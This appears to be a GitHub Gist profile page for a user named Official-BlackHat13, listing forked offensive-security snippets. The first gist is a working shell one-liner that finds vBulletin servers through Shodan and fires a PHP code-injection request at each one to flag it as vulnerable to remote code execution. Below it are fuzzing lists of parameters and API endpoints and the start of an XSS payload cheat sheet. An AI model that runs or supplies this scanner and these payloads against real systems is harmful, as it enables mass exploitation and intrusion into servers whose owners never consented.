Skip to content

Instantly share code, notes, and snippets.

View Official-BlackHat13's full-sized avatar
🎯
Focusing

0fficial_BlackHat13 Official-BlackHat13

🎯
Focusing
69 followers · 418 following
View GitHub Profile
@Official-BlackHat13
Official-BlackHat13 / vBulletin RCE shodan
Created December 3, 2021 02:26 — forked from Mad-robot/vBulletin RCE shodan
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
@Official-BlackHat13
Official-BlackHat13 / params.txt
Last active February 16, 2021 16:46 — forked from nullenc0de/params.txt
List of parameters for content discovery
0
1
11
12
13
14
15
16
17
2
@Official-BlackHat13
Official-BlackHat13 / List of API endpoints & objects
Created February 16, 2021 16:46 — forked from yassineaboukir/List of API endpoints & objects
A list of 3203 common API endpoints and objects designed for fuzzing.
0
00
01
02
03
1
1.0
10
100
1000
@Official-BlackHat13
Official-BlackHat13 / xss-top500.txt
Created January 20, 2020 11:25 — forked from phra/xss-top500.txt
#500 XSS payloads - https://gbhackers.com/top-500-important-xss-cheat-sheet/
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>